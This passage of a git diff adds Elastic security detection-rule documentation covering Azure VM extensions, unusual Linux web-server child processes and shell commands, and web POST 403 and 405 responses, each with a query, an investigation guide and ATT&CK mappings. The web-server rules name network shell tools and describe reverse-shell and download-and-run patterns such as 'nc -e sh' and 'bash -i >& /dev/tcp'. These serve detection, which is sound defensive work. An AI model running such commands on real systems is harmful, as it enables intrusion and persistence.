aws.cloudtrail.flattened.request_parameters.x-amz-server-side-encryption-customer-algorithm: "AES256" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-unusual-azure-vm-extension-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-unusual-azure-vm-extension-detected.asciidoc new file mode 100644 index 0000000000..e4927311f6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-unusual-azure-vm-extension-detected.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-28-unusual-azure-vm-extension-detected]] +=== Unusual Azure VM Extension Detected + +Identifies the first time a given VM extension name is created or updated on an Azure virtual machine or VM scale set within the rule's lookback window. VM extensions run with high privilege on the guest (SYSTEM on Windows, root on Linux) and are a common code-execution and persistence primitive. The extension instance name is attacker-controlled and the Azure activity log records only that name, not the publisher or type, so the control plane cannot reliably identify the extension family (for example CustomScript). This rule therefore takes a type-agnostic ES|QL new-terms approach: it derives the host and the extension instance name from `azure.resource.name` and alerts the first time a given (host, extension name) pair is observed in the window, surfacing novel extension deployments while suppressing names a host routinely uses. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-7d ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.netspi.com/blog/technical-blog/adversary-simulation/7-ways-to-execute-command-on-azure-virtual-machine-virtual-machine-scale-sets/ +* https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/custom-script-windows +* https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/overview +* https://blog.pwnedlabs.io/diving-deep-into-azure-vm-attack-vectors +* https://www.sysdig.com/blog/the-expendable-extension-name-azure-vmaccess-naming-chaos-password-resets-and-a-detection-gap + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Azure VM Extension Detected* + + +Identifies the first time a given VM extension name is created or updated on an Azure virtual machine or VM scale set within the +rule's lookback window. VM extensions run with high privilege on the guest (SYSTEM on Windows, root on Linux) and are a +common code-execution and persistence primitive. The extension instance name is attacker-controlled and the Azure +activity log records only that name, not the publisher or type, so the control plane cannot reliably identify the +extension family (for example CustomScript). This rule therefore takes a type-agnostic ES|QL new-terms approach: it +derives the host and the extension instance name from `azure.resource.name` and alerts the first time a given +(host, extension name) pair is observed in the window, surfacing novel extension deployments while suppressing names a +host routinely uses. + + +*Possible investigation steps* + + +- Identify the host (`Esql.vm_name`) and the full extension resource (`azure.resource.name` / `azure.resource.id`). +- Identify the acting principal: `Esql.principal_id_values`, `Esql.principal_type_values` (User vs ServicePrincipal), + `Esql.appid_values`. Service principal or managed identity deployment is more suspicious than a known admin user. +- Review the source: `Esql.source_ip_values`, `Esql.source_as_number_values`, `Esql.source_country_values`. Cloud + hosting, VPS, or anonymizing networks are more suspicious than known corporate egress. +- Was this preceded by a Run Command invocation, role assignment, or other VM operations by the same principal? +- Correlate with endpoint telemetry on the host: process activity parented by the Azure guest agent + (`WaAppAgent.exe` / `walinuxagent`) within ~120 seconds of the deployment. +- Review the principal's Entra ID sign-in logs and RBAC role assignments on the subscription, resource group, and VM. +- Retrieve the extension settings/protected settings from the VM (the activity log does not contain the script/settings + body) to assess intent. +- Pivot on the VM for credential access, new local accounts, or outbound C2 connections following the deployment. + + +*False positive analysis* + + +- This is a broad first-seen net: the first deployment of any extension name to a host alerts, so benign monitoring, + antimalware (Defender/MDE), AKS, DSC, or configuration-management extensions deployed by routine automation will + trigger. Baseline expected automation principals (`Esql.appid_values`) and extension names, and exclude verified ones. +- Automation that generates a unique extension instance name per deployment produces a new (host, name) pair every time + and will recur; if benign, exclude by the deploying principal/appid or the known naming pattern rather than per host. +- Newly provisioned VMs receiving their initial extension set are expected. Corroborate the deploying principal and + source before escalating, and treat deployments from known corporate egress by approved automation as lower confidence. + + +*Response and remediation* + + +- If unauthorized, remove the extension, isolate the VM, rotate credentials reachable from it, and review RBAC on the affected scope. +- Collect endpoint and activity log artifacts per incident procedures. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-azure.activitylogs-* +| WHERE event.dataset == "azure.activitylogs" + AND event.action IN ( + "MICROSOFT.COMPUTE/VIRTUALMACHINES/EXTENSIONS/WRITE", + "MICROSOFT.COMPUTE/VIRTUALMACHINESCALESETS/EXTENSIONS/WRITE" + ) + AND event.outcome IN ("success", "Success") +// azure.resource.name is "/EXTENSIONS/"; the instance name is attacker-controlled, +// so key on the host (first path element) rather than the spoofable extension name +| EVAL Esql.vm_name = MV_FIRST(SPLIT(azure.resource.name, "/")) +| EVAL Esql.extension_name = MV_LAST(SPLIT(azure.resource.name, "/")) +| STATS Esql.first_time_seen = MIN(@timestamp), + Esql.last_time_seen = MAX(@timestamp), + Esql.event_count = COUNT(*), + Esql.resource_name_values = VALUES(azure.resource.name), + Esql.resource_id_values = VALUES(azure.resource.id), + Esql.principal_id_values = VALUES(azure.activitylogs.identity.authorization.evidence.principal_id), + Esql.principal_type_values = VALUES(azure.activitylogs.identity.authorization.evidence.principal_type), + Esql.appid_values = VALUES(azure.activitylogs.identity.claims.appid), + Esql.source_ip_values = VALUES(source.ip), + Esql.source_as_number_values = VALUES(source.`as`.number), + Esql.source_country_values = VALUES(source.geo.country_name), + Esql.subscription_id_values = VALUES(azure.subscription_id) + BY Esql.vm_name, Esql.extension_name +// new terms emulation: fire only when the (host, extension name) pair is the single occurrence in the +// 7-day window (event_count == 1) and it is recent (within the schedule interval + ingest-lag buffer) +| EVAL Esql.recent_minutes = DATE_DIFF("minute", Esql.first_time_seen, NOW()) +| WHERE Esql.recent_minutes <= 10 AND Esql.event_count == 1 +// surface real fields for the analyst and rule exceptions +| EVAL azure.resource.name = MV_FIRST(Esql.resource_name_values), + azure.resource.id = MV_FIRST(Esql.resource_id_values), + source.ip = MV_FIRST(Esql.source_ip_values) +| KEEP azure.resource.name, azure.resource.id, source.ip, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-unusual-child-execution-via-web-server.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-unusual-child-execution-via-web-server.asciidoc new file mode 100644 index 0000000000..0758265fae --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-unusual-child-execution-via-web-server.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-28-unusual-child-execution-via-web-server]] +=== Unusual Child Execution via Web Server + +This rule leverages the "new_terms" rule type to detect unusual child process executions originating from web server processes on Linux systems. Attackers may exploit web servers to maintain persistence on a compromised system, often resulting in atypical child process executions. As child process spawns from web server parent processes are common, the "new_terms" rule type approach helps identify deviations from normal behavior. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Domain: Web +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Child Execution via Web Server* + + +This alert flags a Linux web service starting a child program it does not normally launch, which can reveal a compromised application server being used for persistence or follow-on actions. A common pattern is an attacker exploiting a web app bug, then making nginx, Apache, or a Python app server spawn a shell or script interpreter that downloads tools, runs system commands, or installs a backdoor under the web service context. + + +*Possible investigation steps* + + +- Review the full parent-to-descendant execution chain to determine whether the web service launched a shell, interpreter, downloader, or archive utility that then executed additional payloads. +- Correlate the process start time with web access, error, reverse-proxy, and WAF logs to identify the triggering request, source IP, requested path, upload activity, and signs of exploitation such as command injection or remote file inclusion. +- Determine whether the spawned program is part of a legitimate deployment or maintenance task by validating its file path, package ownership, hash, modification time, deployment records, and recent change windows. +- Examine activity under the web service account around the alert for suspicious file writes, new scheduled tasks or service entries, privilege escalation attempts, credential access, and unusual outbound network connections. +- If the execution is not explained by approved application behavior, contain the affected host or web service, preserve forensic artifacts, remove unauthorized files or persistence mechanisms, rotate exposed secrets, and hunt for the same behavior across other internet-facing servers. + + +*False positive analysis* + + +- A newly deployed or updated web application may legitimately cause the web server or app server to launch a previously unseen helper binary for application functionality, so verify the child executable path, package ownership, and command line against recent approved deployment or configuration changes. +- A CGI, FastCGI, or application framework process may spawn a custom maintenance or content-processing program only for specific requests, so confirm the parent-child relationship by correlating the execution time and arguments with the triggering web request and expected application behavior. + + +*Response and remediation* + + +- Immediately isolate the affected Linux web host or remove it from the load balancer, stop the compromised web service if business impact allows, and block the source IPs and outbound destinations associated with the malicious child process and any follow-on downloads. +- Preserve forensic evidence and remove persistence by collecting the suspicious executable or script, web-accessible backdoors, recent uploads, cron jobs, systemd service files, rc.local changes, modified SSH authorized_keys entries, and any attacker-created accounts before deleting them. +- Terminate all attacker-controlled processes spawned by the web service, then delete dropped payloads and staging files from locations such as /tmp, /var/tmp, /dev/shm, and the web root, and revert any unauthorized permission, sudoers, or startup changes used to maintain execution. +- Restore the application and host to a known-good state by rebuilding from a trusted image or clean backup, redeploying verified packages and web content, rotating credentials and tokens exposed on the server, and confirming no unauthorized binaries or modified files remain. +- Escalate to incident response immediately if the web child process launched a shell or interpreter, established outbound command-and-control traffic, modified authentication material, moved laterally, or if sensitive data, production secrets, or customer-facing systems may have been exposed. +- Harden the environment by patching the exploited web component, disabling unnecessary script execution from upload and web content directories, enforcing least privilege for the web service account, restricting outbound network access, and expanding monitoring for similar child-process launches and persistence artifacts across peer web servers. + + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and event.action:exec and ( + process.parent.name:( + apache2 or asterisk or caddy or daphne or flask or frankenphp or httpd or httpd.worker or + lswsctrl or mongrel_rails or nginx or php-cgi or php-cgi.cagefs or php-fcgi or starman or + sw-engine-fpm or uvicorn or uwsgi or varnishd or waitress-serve or zabbix_server or *.cgi + or *.fcgi or gunicorn* or php-fpm* or lsphp* + ) or + process.parent.name:ruby* and process.parent.command_line:(*passenger* or *puma* or *rails*) or + process.parent.name:python* and process.parent.command_line:( + *app.py* or *asgi.py* or *django* or *flask* or *hypercorn* or *server.py* or *uvicorn* or *wsgi.py* + ) or + process.parent.name:perl* and process.parent.command_line:*plackup* or + process.parent.name:java and process.parent.args:( + com.atlassian.jira.startup.Launcher or com.caucho.server.resin.Resin or com.google.gerrit.pgm.Daemon or + com.ibm.ws.kernel.boot.cmdline.Bootstrap or com.ibm.ws.runtime.WsServer or + com.sun.enterprise.glassfish.bootstrap.ASMain or io.dropwizard.cli.ServerCommand or + io.helidon.microprofile.server.Main or io.micronaut.runtime.Micronaut or io.quarkus.runner.GeneratedMain or + io.vertx.core.Launcher or org.apache.catalina.startup.Bootstrap or org.eclipse.jetty.start.Main or + org.elasticsearch.bootstrap.Elasticsearch or org.jboss.modules.Main or play.core.server.ProdServerStart or + weblogic.Server or *-Dsolr.solr.home=* or *BitbucketServerLauncher* or *jenkins.war* or *quarkus-run.jar* or + *weblogic-launcher.jar* or -Dcatalina.base=* or -Djboss.home.dir=* or -Djetty.home=* or -Dweblogic.Name=* or + io.helidon.webserver* or org.apereo.cas* or org.keycloak* or org.springframework.boot.loader.* + ) +) and +process.executable:* and process.command_line:* and +not ( + process.name:( + arp or aws or az or base16 or base32 or base64 or base64mime or base64pem or base64plain or base64url or + basenc or basez or bash or busybox or cat or chmod or chpasswd or cp or crictl or csh or ctr or curl or dash or + df or dig or docker or du or fish or gcloud or helm or host or htop or ifconfig or ip or ksh or kubectl or ln or + lsblk or lsof or ltrace or mkdir or mksh or mv or nc or nc.openbsd or nc.traditional or ncat or netcat or ngrok or + nmap or nslookup or openssl or passwd or rm or sh or socat or ss or strace or sudo or tcpdump or tcsh or telnet or + top or touch or traceroute or wget or whoami or xxd or zsh or *.bin or *.elf or *.jar or *.lua* or *.mjs or + *.js or *.php* or *.pl or *.py or *.rb or *.sh or .* + ) or + process.executable:( + ./* or /boot/* or /dev/shm/* or /home/*/* or /lost+found/* or /proc/* or /root/* or /run/* or /sys/* or /tmp/* or + /var/mail/* or /var/run/* or /var/tmp/* or /var/www/* or "/usr/bin/ffprobe" or "/usr/bin/ffmpeg" + ) or + process.parent.name:java and not process.parent.executable:/u0*/* or + process.working_directory:(/u0*/*/sysman/emd or /u0*/app/oracle/product/*/db_* or /u0*/app/oracle/product/*/dbhome_* or /var/www/*edoc*) or + process.args:(/usr/bin/rsvg-convert* or /usr/local/bin/wkhtmltopdf*) or + process.command_line:*/opt/sc/bin/showvulns* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-unusual-command-execution-via-web-server.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-unusual-command-execution-via-web-server.asciidoc new file mode 100644 index 0000000000..5897ecf303 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-unusual-command-execution-via-web-server.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-28-unusual-command-execution-via-web-server]] +=== Unusual Command Execution via Web Server + +This rule leverages the "new_terms" rule type to detect unusual command executions originating from web server processes on Linux systems. Attackers may exploit web servers to maintain persistence on a compromised system, often resulting in atypical command executions. As command execution from web server parent processes is common, the "new_terms" rule type approach helps to identify deviations from normal behavior. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Domain: Web +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Command Execution via Web Server* + + +This rule detects shells invoked by web server processes on Linux to run one-off commands, surfacing command lines the server has never executed before. Attackers exploit vulnerable apps or dropped webshells to launch bash -c from web roots, e.g., download a payload with wget/curl into /opt or /tmp, chmod +x and execute it, or open a reverse shell (nc -e sh) to implant services or cron-like tasks and persist under the web server account. + + +*Possible investigation steps* + + +- Reconstruct the process tree around the event to identify the shell payload and parent service, determine if it chains downloads, reverse shells, or archive extraction, and hash/snapshot any referenced files. +- Pivot to web server access and error logs at the timestamp to identify the request path, client IP, user agent, and HTTP verb that triggered execution, noting anomalies like POST uploads, long query strings, or 500s. +- List and diff newly created or recently modified files under common web roots and application directories around the event time, looking for webshells, chmod+x artifacts, .php/.jsp backdoors, or systemd/cron writes by the same user. +- Correlate with network telemetry to see if the web tier opened outbound connections or listeners (nc, bash -i, curl/wget), and capture any active sockets and destinations for rapid containment. +- Validate whether the command matches expected maintenance tasks for the application (e.g., wkhtmltopdf or image processing), and if not, isolate the process and host while scoping for the same pattern across other servers and preserving volatile evidence. + + +*False positive analysis* + + +- A legitimate web-admin workflow (plugin/module install, content import, or cache warmup) spawns sh -c from an apache/nginx parent in /var/www to run tar/chmod/chown steps, producing a command line the host has not previously executed under www-data. +- A recently deployed application feature performs server-side document or image processing and rotates logs by calling sh -c from a framework parent (flask/rails/php) with a working directory in /opt or /usr/share/nginx, making the specific shell invocation a new term for this server. + + +*Response and remediation* + + +- Quarantine the affected web server by removing it from the load balancer, stopping apache/nginx/httpd, and killing the spawned shell (e.g., bash -c) while capturing /proc//cmdline and /proc//environ, lsof, and active sockets for evidence. +- Block outbound egress from the web server account and immediately deny destinations contacted by curl/wget or reverse shells (nc, bash -i to /dev/tcp), and rotate exposed API keys or credentials referenced in the command line. +- Eradicate persistence by deleting newly dropped or modified files under /var/www, /usr/share/nginx, /srv/http, /opt, or /home/*/public_html (webshells, .php backdoors), removing downloaded binaries from /tmp or /opt, and cleaning cron/systemd units created by www-data/nginx. +- Recover by restoring web content and application code from known-good backups or images, verifying file ownership and permissions, and restarting the service with monitored command allowlists and file integrity checks. +- Escalate to full incident response and forensic imaging if any reverse shell artifacts (nc -e sh, bash -i >& /dev/tcp/*), privileged writes (/etc/systemd/system/*.service, /var/spool/cron/*), or sudo execution by the web server user are observed. +- Harden by disabling risky exec paths (PHP exec/system/shell_exec and unsafe plugins), enforcing noexec,nodev,nosuid mounts on web roots, applying SELinux/AppArmor confinement to web processes, narrowing outbound egress, and deploying WAF/mod_security rules for upload and RCE vectors. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and event.action:exec and ( + process.parent.name:( + apache2 or asterisk or caddy or daphne or flask or frankenphp or httpd or httpd.worker or + lswsctrl or mongrel_rails or nginx or php-cgi or php-cgi.cagefs or php-fcgi or starman or + sw-engine-fpm or uvicorn or uwsgi or varnishd or waitress-serve or zabbix_server or *.cgi + or *.fcgi or gunicorn* or php-fpm* or lsphp* + ) or + process.parent.name:ruby* and process.parent.command_line:(*passenger* or *puma* or *rails*) or + process.parent.name:python* and process.parent.command_line:( + *app.py* or *asgi.py* or *django* or *flask* or *hypercorn* or *server.py* or *uvicorn* or *wsgi.py* + ) or + process.parent.name:perl* and process.parent.command_line:*plackup* or + process.parent.name:java and process.parent.args:( + com.atlassian.jira.startup.Launcher or com.caucho.server.resin.Resin or com.google.gerrit.pgm.Daemon or + com.ibm.ws.kernel.boot.cmdline.Bootstrap or com.ibm.ws.runtime.WsServer or + com.sun.enterprise.glassfish.bootstrap.ASMain or io.dropwizard.cli.ServerCommand or + io.helidon.microprofile.server.Main or io.micronaut.runtime.Micronaut or io.quarkus.runner.GeneratedMain or + io.vertx.core.Launcher or org.apache.catalina.startup.Bootstrap or org.eclipse.jetty.start.Main or + org.elasticsearch.bootstrap.Elasticsearch or org.jboss.modules.Main or play.core.server.ProdServerStart or + weblogic.Server or *-Dsolr.solr.home=* or *BitbucketServerLauncher* or *jenkins.war* or *quarkus-run.jar* or + *weblogic-launcher.jar* or -Dcatalina.base=* or -Djboss.home.dir=* or -Djetty.home=* or -Dweblogic.Name=* or + io.helidon.webserver* or org.apereo.cas* or org.keycloak* or org.springframework.boot.loader.* + ) +) and +process.command_line:* and +process.name:(bash or busybox or csh or dash or fish or ksh or mksh or sh or tcsh or zsh) and +process.args:(-c or -cl or -lc) and +not ( + process.parent.name:java and not process.parent.executable:/u0*/* or + process.working_directory:(/u0*/*/sysman/emd or /u0*/app/oracle/product/*/db_* or /u0*/app/oracle/product/*/dbhome_* or /var/www/*edoc*) or + process.args:(/usr/bin/rsvg-convert* or /usr/local/bin/wkhtmltopdf*) or + process.command_line:*/opt/sc/bin/showvulns* or + (process.parent.name:nginx and process.name:busybox and process.args:gcc*/tmp/lua_*) or + (process.parent.name:apache2 and process.args:\"/usr/bin/7za*) or + (process.parent.name:zabbix_server and process.command_line:*fping*) or + (process.parent.name:php-fpm* and (process.command_line:*/usr/bin/pdftotext* or process.args:clamdscan*)) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-web-application-suspicious-activity-post-request-declined.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-web-application-suspicious-activity-post-request-declined.asciidoc new file mode 100644 index 0000000000..be26fa7379 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-web-application-suspicious-activity-post-request-declined.asciidoc @@ -0,0 +1,96 @@ +[[prebuilt-rule-8-19-28-web-application-suspicious-activity-post-request-declined]] +=== Web Application Suspicious Activity: POST Request Declined + +A POST request to a web application returned a 403 response, which indicates the web application declined to process the request because the action requested was not allowed. + +*Rule type*: query + +*Rule indices*: + +* apm-*-transaction* +* traces-apm* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://en.wikipedia.org/wiki/HTTP_403 + +*Tags*: + +* Data Source: APM +* Resources: Investigation Guide + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Web Application Suspicious Activity: POST Request Declined* + + +Web applications often use POST requests to handle data submissions securely. However, adversaries may exploit this by attempting unauthorized actions, triggering a 403 error when access is denied. The detection rule identifies such anomalies by flagging POST requests that receive a 403 response, indicating potential misuse or probing attempts, thus aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the source IP address and user agent associated with the POST request to identify any patterns or known malicious actors. +- Examine the URL or endpoint targeted by the POST request to determine if it is a sensitive or restricted resource. +- Check the timestamp of the request to see if it coincides with other suspicious activities or known attack patterns. +- Analyze the frequency and volume of similar 403 POST requests from the same source to assess if this is part of a larger probing or attack attempt. +- Investigate any recent changes or updates to the web application that might have inadvertently triggered legitimate requests to be denied. + + +*False positive analysis* + + +- Legitimate API interactions may trigger 403 responses if the API endpoint is accessed without proper authentication or authorization. Review API access logs to identify and whitelist known applications or users that frequently interact with the API. +- Web application firewalls (WAFs) might block certain POST requests due to predefined security rules, resulting in 403 errors. Analyze WAF logs to determine if specific rules are causing false positives and adjust the ruleset accordingly. +- Automated scripts or bots performing routine tasks might inadvertently trigger 403 responses. Identify these scripts and ensure they are configured with the necessary permissions or exclude their IP addresses from the detection rule. +- User error, such as incorrect form submissions or missing required fields, can lead to 403 responses. Educate users on proper form usage and consider implementing client-side validation to reduce these occurrences. +- Maintenance or configuration changes in the web application might temporarily cause 403 errors. Coordinate with the development or operations team to understand scheduled changes and adjust monitoring rules during these periods. + + +*Response and remediation* + + +- Immediately review the logs associated with the 403 POST requests to identify the source IP addresses and user agents involved. Block any suspicious IP addresses at the firewall or web application firewall (WAF) to prevent further unauthorized attempts. +- Conduct a thorough review of the web application's access control policies and permissions to ensure that they are correctly configured to prevent unauthorized actions. +- Check for any recent changes or updates to the web application that might have inadvertently altered access controls or introduced vulnerabilities, and roll back or patch as necessary. +- Notify the security operations team to monitor for any additional suspicious activity from the identified IP addresses or similar patterns, and escalate to incident response if further malicious activity is detected. +- Implement additional logging and monitoring for POST requests that result in 403 responses to enhance detection capabilities and gather more context for future incidents. +- Review and update the web application firewall (WAF) rules to better detect and block unauthorized POST requests, ensuring that legitimate traffic is not affected. +- If applicable, engage with the development team to conduct a security review of the application code to identify and fix any potential vulnerabilities that could be exploited by attackers. + +==== Rule query + + +[source, js] +---------------------------------- +http.response.status_code:403 and http.request.method:(POST or post) + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-web-application-suspicious-activity-unauthorized-method.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-web-application-suspicious-activity-unauthorized-method.asciidoc new file mode 100644 index 0000000000..328f53de37 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-web-application-suspicious-activity-unauthorized-method.asciidoc @@ -0,0 +1,96 @@ +[[prebuilt-rule-8-19-28-web-application-suspicious-activity-unauthorized-method]] +=== Web Application Suspicious Activity: Unauthorized Method + +A request to a web application returned a 405 response, which indicates the web application declined to process the request because the HTTP method is not allowed for the resource. + +*Rule type*: query + +*Rule indices*: + +* apm-*-transaction* +* traces-apm* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://en.wikipedia.org/wiki/HTTP_405 + +*Tags*: + +* Data Source: APM +* Resources: Investigation Guide + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Web Application Suspicious Activity: Unauthorized Method* + + +Web applications often restrict HTTP methods to protect resources, allowing only specific actions like GET or POST. Adversaries may exploit misconfigurations by attempting unauthorized methods, potentially revealing vulnerabilities or sensitive data. The detection rule identifies such attempts by flagging HTTP 405 responses, indicating a method is not permitted, thus highlighting potential misuse or probing activities. + + +*Possible investigation steps* + + +- Review the web server logs to identify the source IP address associated with the HTTP 405 response to determine if the request originated from a known or suspicious source. +- Analyze the request headers and payload associated with the 405 response to understand what unauthorized method was attempted and if there are any patterns or anomalies. +- Check the application configuration to verify which HTTP methods are allowed for the resource in question and assess if there are any misconfigurations that could be exploited. +- Investigate if there are multiple 405 responses from the same source IP or user agent, which could indicate probing or automated scanning activity. +- Correlate the 405 response events with other security alerts or logs to identify any related suspicious activities or potential attack vectors. + + +*False positive analysis* + + +- Routine API calls using unsupported methods may trigger 405 responses. Review API documentation to ensure correct methods are used and adjust monitoring to exclude these known patterns. +- 